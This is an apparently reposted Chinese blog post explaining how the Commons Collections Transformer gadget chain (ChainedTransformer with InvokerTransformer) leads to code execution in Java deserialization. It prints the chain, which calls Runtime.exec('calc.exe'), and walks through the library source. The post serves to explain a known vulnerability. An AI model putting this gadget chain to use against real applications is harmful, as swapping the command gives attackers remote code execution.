java反序列化 - Transformer类可以执行恶意代码的原理

java反序列化 - Transformer类可以执行恶意代码的原理

0x00 代码

Transformer[] transformers = new Transformer[]{
                  new ConstantTransformer(Runtime.class),
                  new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),
                  new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
                  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
          };
          Transformer transformerChain = new ChainedTransformer(transformers);

          ByteArrayOutputStream out = new ByteArrayOutputStream();
          ObjectOutputStream objOut;

        try {
            objOut = new ObjectOutputStream(out);
            objOut.writeObject(transformerChain);

            transformerChain.transform(null);

        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }

执行结果:

0x01 Transformer类为什么可以执行恶意代码?

transformerChain.transform(null); 执行的是:ChainedTransformer类的transform方法

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

object = iTransformers[i].transform(object); 执行的是InvokerTransformer类的transform方法

 public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }


通过反射机制调用runtime.class的getMethod方法,继续调用invoke方法生成了一个runtime的对象,最后执行该对象的exec方法,因此造成了反序列化漏洞。
可以参考:
https://blog.51cto.com/13770310/2159962 的0x03 补充

转载于:https://blog.51cto.com/13770310/2160737

你可能感兴趣的:(java反序列化 - Transformer类可以执行恶意代码的原理)